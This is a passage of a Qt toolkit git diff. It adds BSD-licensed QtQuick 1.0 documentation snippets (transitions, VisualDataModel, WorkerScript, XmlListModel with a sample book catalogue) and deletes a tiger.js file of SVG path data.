+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow" }
+ }
+
+ transitions: Transition {
+ ColorAnimation { duration: 1000 }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/transition-reversible.qml b/doc/src/snippets/qtquick1/transition-reversible.qml
new file mode 100644
index 0000000000..6a6ef2382b
--- /dev/null
+++ b/doc/src/snippets/qtquick1/transition-reversible.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"
+ when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow"; x: 50 }
+ }
+
+ //! [sequential animations]
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAnimation { property: "x"; duration: 1000 }
+ ColorAnimation { duration: 1000 }
+ }
+ }
+ //! [sequential animations]
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/transition.qml b/doc/src/snippets/qtquick1/transition.qml
new file mode 100644
index 0000000000..05465547ca
--- /dev/null
+++ b/doc/src/snippets/qtquick1/transition.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "moved"; when: mouseArea.pressed
+ PropertyChanges { target: rect; x: 50; y: 50 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/transitions-list.qml b/doc/src/snippets/qtquick1/transitions-list.qml
new file mode 100644
index 0000000000..cd413cc9dd
--- /dev/null
+++ b/doc/src/snippets/qtquick1/transitions-list.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 150; height: 250
+
+ Rectangle {
+ id: stopLight
+ x: 25; y: 15; width: 100; height: 100
+ }
+ Rectangle {
+ id: goLight
+ x: 25; y: 135; width: 100; height: 100
+ }
+
+ states: [
+ State {
+ name: "stop"
+ PropertyChanges { target: stopLight; color: "red" }
+ PropertyChanges { target: goLight; color: "black" }
+ },
+ State {
+ name: "go"
+ PropertyChanges { target: stopLight; color: "black" }
+ PropertyChanges { target: goLight; color: "green" }
+ }
+ ]
+
+ state: "stop"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state == "stop" ?
+ parent.state = "go" : parent.state = "stop"
+ }
+
+ //! [list of transitions]
+ transitions: [
+ Transition {
+ from: "stop"; to: "go"
+ PropertyAnimation { target: stopLight
+ properties: "color"; duration: 1000 }
+ },
+ Transition {
+ from: "go"; to: "stop"
+ PropertyAnimation { target: goLight
+ properties: "color"; duration: 1000 }
+ } ]
+ //! [list of transitions]
+}
diff --git a/doc/src/snippets/qtquick1/visualdatamodel.qml b/doc/src/snippets/qtquick1/visualdatamodel.qml
new file mode 100644
index 0000000000..7b42087def
--- /dev/null
+++ b/doc/src/snippets/qtquick1/visualdatamodel.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 100
+
+ VisualDataModel {
+ id: visualModel
+ model: ListModel {
+ ListElement { name: "Apple" }
+ ListElement { name: "Orange" }
+ }
+ delegate: Rectangle {
+ height: 25
+ width: 100
+ Text { text: "Name: " + name}
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: visualModel
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp b/doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp
new file mode 100644
index 0000000000..1f6179b474
--- /dev/null
+++ b/doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+#include <QApplication>
+#include <QDirModel>
+
+//![0]
+int main(int argc, char ** argv)
+{
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+
+ QDirModel model;
+ view.rootContext()->setContextProperty("dirModel", &model);
+
+ view.setSource(QUrl::fromLocalFile("view.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml b/doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml
new file mode 100644
index 0000000000..12abf82bd7
--- /dev/null
+++ b/doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+ListView {
+ id: view
+ width: 300
+ height: 400
+
+ model: VisualDataModel {
+ model: dirModel
+
+ delegate: Rectangle {
+ width: 200; height: 25
+ Text { text: filePath }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (model.hasModelChildren)
+ view.model.rootIndex = view.model.modelIndex(index)
+ }
+ }
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/workerscript.qml b/doc/src/snippets/qtquick1/workerscript.qml
new file mode 100644
index 0000000000..06d15f9767
--- /dev/null
+++ b/doc/src/snippets/qtquick1/workerscript.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 300
+
+ Text {
+ id: myText
+ text: 'Click anywhere'
+ }
+
+ WorkerScript {
+ id: myWorker
+ source: "script.js"
+
+ onMessage: myText.text = messageObject.reply
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myWorker.sendMessage({ 'x': mouse.x, 'y': mouse.y })
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/xmlrole.qml b/doc/src/snippets/qtquick1/xmlrole.qml
new file mode 100644
index 0000000000..fbae782eb9
--- /dev/null
+++ b/doc/src/snippets/qtquick1/xmlrole.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 200
+
+//![0]
+XmlListModel {
+ id: model
+//![0]
+ source: "xmlrole.xml"
+
+//![1]
+ // XmlRole queries will be made on <book> elements
+ query: "/catalogue/book"
+
+ // query the book title
+ XmlRole { name: "title"; query: "title/string()" }
+
+ // query the book's year
+ XmlRole { name: "year"; query: "year/number()" }
+
+ // query the book's type (the '@' indicates 'type' is an attribute, not an element)
+ XmlRole { name: "type"; query: "@type/string()" }
+
+ // query the book's first listed author (note in XPath the first index is 1, not 0)
+ XmlRole { name: "first_author"; query: "author[1]/string()" }
+}
+//![1]
+
+ListView {
+ width: 300; height: 200
+ model: model
+ delegate: Column {
+ Text { text: title + " (" + type + ")"; font.bold: true }
+ Text { text: first_author }
+ Text { text: year }
+ }
+}
+
+}
diff --git a/doc/src/snippets/qtquick1/xmlrole.xml b/doc/src/snippets/qtquick1/xmlrole.xml
new file mode 100644
index 0000000000..c9f999e523
--- /dev/null
+++ b/doc/src/snippets/qtquick1/xmlrole.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="iso-8859-1" ?>
+<catalogue>
+ <book type="Hardcover">
+ <title>C++ GUI Programming with Qt 4</title>
+ <year>2006</year>
+ <author>Jasmin Blanchette</author>
+ <author>Mark Summerfield</author>
+ </book>
+ <book type="Paperback">
+ <title>Programming with Qt</title>
+ <year>2002</year>
+ <author>Matthias Kalle Dalheimer</author>
+ </book>
+ </catalogue>
diff --git a/examples/declarative/canvas/svgpath/tiger.js b/examples/declarative/canvas/svgpath/tiger.js
deleted file mode 100644
index d8657b5abe..0000000000
--- a/examples/declarative/canvas/svgpath/tiger.js
+++ /dev/null
@@ -1,763 +0,0 @@
-var tiger = [
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-122.304 84.285C-122.304 84.285 -122.203 86.179 -123.027 86.16C-123.851 86.141 -140.305 38.066 -160.833 40.309C-160.833 40.309 -143.05 32.956 -122.304 84.285z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-118.774 81.262C-118.774 81.262 -119.323 83.078 -120.092 82.779C-120.86 82.481 -119.977 31.675 -140.043 26.801C-140.043 26.801 -120.82 25.937 -118.774 81.262z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-91.284 123.59C-91.284 123.59 -89.648 124.55 -90.118 125.227C-90.589 125.904 -139.763 113.102 -149.218 131.459C-149.218 131.459 -145.539 112.572 -91.284 123.59z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-94.093 133.801C-94.093 133.801 -92.237 134.197 -92.471 134.988C-92.704 135.779 -143.407 139.121 -146.597 159.522C-146.597 159.522 -149.055 140.437 -94.093 133.801z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-98.304 128.276C-98.304 128.276 -96.526 128.939 -96.872 129.687C-97.218 130.435 -147.866 126.346 -153.998 146.064C-153.998 146.064 -153.646 126.825 -98.304 128.276z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-109.009 110.072C-109.009 110.072 -107.701 111.446 -108.34 111.967C-108.979 112.488 -152.722 86.634 -166.869 101.676C-166.869 101.676 -158.128 84.533 -109.009 110.072z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-116.554 114.263C-116.554 114.263 -115.098 115.48 -115.674 116.071C-116.25 116.661 -162.638 95.922 -174.992 112.469C-174.992 112.469 -168.247 94.447 -116.554 114.263z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-119.154 118.335C-119.154 118.335 -117.546 119.343 -118.036 120.006C-118.526 120.669 -167.308 106.446 -177.291 124.522C-177.291 124.522 -173.066 105.749 -119.154 118.335z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-108.42 118.949C-108.42 118.949 -107.298 120.48 -107.999 120.915C-108.7 121.35 -148.769 90.102 -164.727 103.207C-164.727 103.207 -153.862 87.326 -108.42 118.949z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-128.2 90C-128.2 90 -127.6 91.8 -128.4 92C-129.2 92.2 -157.8 50.2 -177.001 57.8C-177.001 57.8 -161.8 46 -128.2 90z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-127.505 96.979C-127.505 96.979 -126.53 98.608 -127.269 98.975C-128.007 99.343 -164.992 64.499 -182.101 76.061C-182.101 76.061 -169.804 61.261 -127.505 96.979z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.172,
- "path":"M-127.62 101.349C-127.62 101.349 -126.498 102.88 -127.199 103.315C-127.9 103.749 -167.969 72.502 -183.927 85.607C-183.927 85.607 -173.062 69.726 -127.62 101.349z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000",
- "path":"M-129.83 103.065C-129.327 109.113 -128.339 115.682 -126.6 118.801C-126.6 118.801 -130.2 131.201 -121.4 144.401C-121.4 144.401 -121.8 151.601 -120.2 154.801C-120.2 154.801 -116.2 163.201 -111.4 164.001C-107.516 164.648 -98.793 167.717 -88.932 169.121C-88.932 169.121 -71.8 183.201 -75 196.001C-75 196.001 -75.4 212.401 -79 214.001C-79 214.001 -67.4 202.801 -77 219.601L-81.4 238.401C-81.4 238.401 -55.8 216.801 -71.4 235.201L-81.4 261.201C-81.4 261.201 -61.8 242.801 -69 251.201L-72.2 260.001C-72.2 260.001 -29 232.801 -59.8 262.401C-59.8 262.401 -51.8 258.801 -47.4 261.601C-47.4 261.601 -40.6 260.401 -41.4 262.001C-41.4 262.001 -62.2 272.401 -65.8 290.801C-65.8 290.801 -57.4 280.801 -60.6 291.601L-60.2 303.201C-60.2 303.201 -56.2 281.601 -56.6 319.201C-56.6 319.201 -37.4 301.201 -49 322.001L-49 338.801C-49 338.801 -33.8 322.401 -40.2 335.201C-40.2 335.201 -30.2 326.401 -34.2 341.601C-34.2 341.601 -35 352.001 -30.6 340.801C-30.6 340.801 -14.6 310.201 -20.6 336.401C-20.6 336.401 -21.4 355.601 -16.6 340.801C-16.6 340.801 -16.2 351.201 -7 358.401C-7 358.401 -8.2 307.601 4.6 343.601L8.6 360.001C8.6 360.001 11.4 350.801 11 345.601C11 345.601 25.8 329.201 19 353.601C19 353.601 34.2 330.801 31 344.001C31 344.001 23.4 360.001 25 364.801C25 364.801 41.8 330.001 43 328.401C43 328.401 41 370.802 51.8 334.801C51.8 334.801 57.4 346.801 54.6 351.201C54.6 351.201 62.6 343.201 61.8 340.001C61.8 340.001 66.4 331.801 69.2 345.401C69.2 345.401 71 354.801 72.6 351.601C72.6 351.601 76.6 375.602 77.8 352.801C77.8 352.801 79.4 339.201 72.2 327.601C72.2 327.601 73 324.401 70.2 320.401C70.2 320.401 83.8 342.001 76.6 313.201C76.6 313.201 87.801 321.201 89.001 321.201C89.001 321.201 75.4 298.001 84.2 302.801C84.2 302.801 79 292.401 97.001 304.401C97.001 304.401 81 288.401 98.601 298.001C98.601 298.001 106.601 304.401 99.001 294.401C99.001 294.401 84.6 278.401 106.601 296.401C106.601 296.401 118.201 312.801 119.001 315.601C119.001 315.601 109.001 286.401 104.601 283.601C104.601 283.601 113.001 247.201 154.201 262.801C154.201 262.801 161.001 280.001 165.401 261.601C165.401 261.601 178.201 255.201 189.401 282.801C189.401 282.801 193.401 269.201 192.601 266.401C192.601 266.401 199.401 267.601 198.601 